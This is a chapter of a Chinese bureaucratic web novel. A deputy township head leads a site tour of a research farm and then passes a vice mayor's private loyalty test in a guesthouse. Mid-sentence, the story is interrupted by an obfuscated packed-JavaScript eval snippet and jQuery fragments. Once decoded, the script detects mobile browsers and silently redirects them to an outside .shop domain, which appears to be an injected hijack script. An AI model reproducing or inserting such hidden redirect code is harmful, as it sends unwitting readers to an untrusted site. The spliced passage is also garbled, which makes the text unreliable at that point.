整场基地实地观摩,叶舟是最有资格全程讲解的人。从最初的地块筛选、区域规划,到前期平整施工、分区实验布局,他从头到尾扎根现场、全程跟进,每一寸田垄、每一块试验区的功能,他都烂熟于心。
他带着商陆一左一右配合引路,顺着规整的试验田区块,从容介绍。“左手边这片八亩片区,是耐旱作物专项实验区。整片沙地我们按文教授的科研方案,划分了四个土壤改良梯度对照组,方便长期观测土质变化、作物耐受度与产量差异。”
肖德文走在队伍最前方,扶着黑框眼镜,边走边低头细看。整片试验田切割得方方正正,每一块地头都立着编号木牌,实验方向、种植品类、梯度参数标注得清清楚楚,规整规范、一目了然。远处工地尚未完工,半截脚手架立在空地,红砖、水泥整齐码放,几名工人正在有条不紊地施工。
肖德文抬手指向施工区域,随口问道:“那边在建的是什么?”
文志宏立刻上前补充解说,语气里带着真切的赞许。“是配套库房、简易实验室,还有科研人员临时办公宿舍。肖校长,这些配套全是望川镇自筹资金修建的。镇里对这次校企合作,是真的实打实投入、毫无保留支持。”
肖德文深深看了叶舟一眼,嘴上没说话,眼底的认可已然藏不住。这些平房配套看着体量不大,满打满算也就万把块的投入,算不上重金投入。但基层做事,最难的从来不是花钱,是态度、是诚意、是执行力。愿意主动前置配套、无偿服务科研,这份主动担当,远比口头表态珍贵百倍。
校方随行的几名研究生早已按捺不住,四散蹲在田间,抓土端详、查看苗情,眼里满是初见优质实验田的兴奋与期待。
队伍最后方,吴国友和张治平并肩缓步,低声闲谈,目光时不时越过人群,落在前方讲解的叶舟身上。贺晓斌紧随其后,始终保持分寸,安静陪同。
一圈观摩下来,日头渐高,临近正午十二点。领导车队缓缓启动,扬尘起落,渐行渐远。叶舟立在基地门口,目送车队离开,风拂过额头,吹散了一上午紧绷攒下的薄汗。
他心里透亮。今天的场面规格极高,市、县、校三方高层齐聚。午餐宴请的席位,最低也是贺晓斌、姜映月这个镇一把手级别,他一个分管副镇长,能全程陪同观摩、靠前汇报,已是破格给足脸面,饭局自然轮不到他。
回到镇政府,叶舟简单洗漱,匆匆吃过午饭,便躺回办公室休息。一上午高度紧绷、神经不敢有半分松懈,骤然放松,汹涌的困意瞬间席卷全身。他靠着椅背小憩,沉沉睡去。
下午一点半,办公电话骤然尖锐响起。刺耳的铃声猛地将叶舟惊醒,他浑身一怔,手忙脚乱接起电话,嗓音还带着未褪的沙哑睡意。“喂?”
“叶舟,立刻来一趟县里招待所。”是姜映月的声音,语气简洁干脆,没有多余铺垫。
叶舟瞬间睡意全无,大脑飞速运转,心头陡然一紧。县里招待所?这个点、这个地点、这种临时单独传唤,太不寻常了。既不是政府办公会议室,也不是工作约谈场所,午休时间的招待所,私下意味远大于公务性质。是工作出了纰漏?还是领导另有特殊安排?无数念头在心底快速闪过,他却丝毫摸不透端倪。
短暂的沉默停顿后,姜映月的催促再次传来。“叶舟?听到没有?”“收到!我马上过去!”叶舟立刻回神应答,挂断电话,抓起外套快步出门。想不通就不想,领导指令在前,唯有快速到位、谨慎应对,才是唯一稳妥的选择。
他骑上摩托车,一路疾驰不停,半个多小时便赶到县招待所门口。刚停稳车,抬头便看见姜映月立在楼下等候。叶舟小跑上前,微微喘息:“镇长,您找我?”“不是我。”姜映月微微抬下巴,示意楼上,语气压低几分,“是吴市长,单独找你聊聊。”
轰!叶舟脚步猛地一顿,心底瞬间掀起波澜。吴国友?单独找自己?堂堂市委常委、副市长,午休时间在招待所,专门传唤一个乡镇副镇长?非亲非故、无公务公示,这里面的门道,绝不简单。他下意识放低声音:“吴市长……找我聊什么?”“我哪知道。”姜映月白了他一眼,转身迈步上楼,语气带着隐晦提醒。“别多问,赶紧上去,人在等你。”
走了两步,她刻意放缓脚步,侧过头,用只有两人能听见的声音轻声叮嘱。“中午饭局喝了不少酒,情绪松、说话直,你一会嘴稳、心稳、态度稳,注意分寸。”短短一句话,点透了所有关键。酒后私谈,非正式场合,无记录、无旁人、无套路客套。这从来不是普通谈心,是高层私下的试探、打量与敲定关系。
叶舟瞬间了然,重重点头,紧随其后上楼。
二楼客房房门半掩,姜映月轻轻推开房门。屋内窗帘半拉,光线偏暗,静谧闲适,是午休静养的格局。吴国友斜靠在床头,眉眼松弛,带着酒后的慵懒闲适。这般私密休憩的场景,让进门的叶舟下意识有些拘谨。
“叔,叶舟来了。”姜映月轻声唤了一句,伸手轻轻推了推吴国友的肩膀。吴国友缓缓睁眼,目光聚焦在门口的叶舟身上,微微定神,随即撑着床头坐起身,神态已然端正几分。
“吴市长。”叶舟率先开口问好,身姿挺拔、站姿规矩,分寸一丝不苟。“来了就坐。”吴国友揉了揉太阳穴,语气随和松弛,抬手示意旁边座椅,“映月,搬个凳子。”叶舟连忙上前自己拉过椅子,端正坐好,腰背笔直,双手平放膝头,不瘫不松,姿态恭敬却不卑微。
吴国友静静打量他两秒,嘴角浮起淡淡的笑意。“别紧张。喊你过来,没有公事,就是午休闲来无事,随便聊聊。”叶舟心底分毫不敢松懈。体制内,领导嘴里的“随便聊聊”,从来都是最不随便的谈话。往往是定印象、看心性、判立场、定亲疏的关键一关。
不等叶舟主动开口,吴国友语出突然。“叶舟,我得谢谢你。”叶舟当场一愣,心头满是疑惑,连忙开口:“吴市长,我只是做好本职工作,实在担
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712041|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不起您这句感谢。”
“哈哈。”吴国友摆了摆手,笑意渐深,不解释缘由,直接跳转话题,直指核心。“映月是我们吴家的晚辈,你们望川镇这大半年的变化,我一直看在眼里。沙地改良、高产增收、合作社成型、科创基地落地、示范镇打造,思路清晰、落地扎实、成效亮眼,做得很好。”
他话锋微转,目光淡淡落在叶舟脸上,语气看似随意,实则带着精准的试探。“今天就问问你自己,往后的工作,心里有什么打算、什么想法?”
这句话轻飘飘落下来,却重逾千斤。若是正式工作会议,这是询问职业规划、工作思路。但在午后的招待所、酒后的私谈、单独召见的场景下,这根本不是问工作。是问立场。是问站队。是问往后跟谁、听谁、靠谁、为谁做事。
叶舟心神瞬间澄澈,瞬间吃透了这句话里所有的深层博弈。他脑中飞速闪过无数利弊,随即抬头,目光坦然澄澈,神色真诚稳重,应答滴水不漏。“领导,姜镇长是我的直接领导,您是上级核心领导。我所有的工作、所有的思路、所有的落实,都是跟着组织、跟着领导的部署走。我个人没有任何私心想法,也不搞个人算盘,一切听组织安排、听领导调度,踏踏实实干事,稳稳当当落地。”
他刻意弃用“吴市长”的客套称呼,全程尊称“领导”。一字之差,公私立判,亲疏立判,立场立判。
吴国友眼底的笑意瞬间彻底铺开,紧绷的试探之心彻底放下。这个年轻人,脑子清醒、心性沉稳、悟性极高,最难得的是懂规矩、知进退、晓分寸。他缓缓开口,语气愈发随和亲和,带着明显的认可与栽培之意。“咱们体制内干部,归根到底,都是为群众办事、为地方发展服务。你踏实能干、敢闯敢拼、落地有力,我很看好你。继续好好干,稳住心性、守住本心,前途可期。”
叶舟心头大石彻底落地,微微欠身:“多谢领导厚爱,我一定谨记教诲,不负信任。”谈话至此,恰到好处,不多一句、不欠一言。
吴国友微微抬手:“行了,你们回去忙吧,我再休息一会。”叶舟轻轻挪回座椅,动作轻缓无声,躬身行礼,沉稳退出房间,全程姿态得体,不见半分狂喜松懈。
姜映月留在屋内,看着躺下的吴国友,无奈轻笑一声。“叔,我说了吧,叶舟心性靠谱、嘴稳人正,你还非要亲自试探一遍。”“哈哈,谨慎无大错。”吴国友低声笑道,眼神清明,“示范镇、科创基地都是重点标杆,我必须确认核心干事的立场心性,才能彻底放心铺路。”“知道了知道了,您歇着吧。”
姜映月转身走出客房,轻轻带上门。走廊里,叶舟正靠在墙边静静等候,神色平和从容。四目相对,姜映月没有说话,只轻轻点了点头,眼底带着一丝了然的浅笑。一切尽在不言中。
走出招待所大门,午后暖阳扑面而来,落在脸上,暖意融融。叶舟深深吐出一口气。暗流涌动的一场私谈,暗藏博弈的关键一关,他,稳稳通过。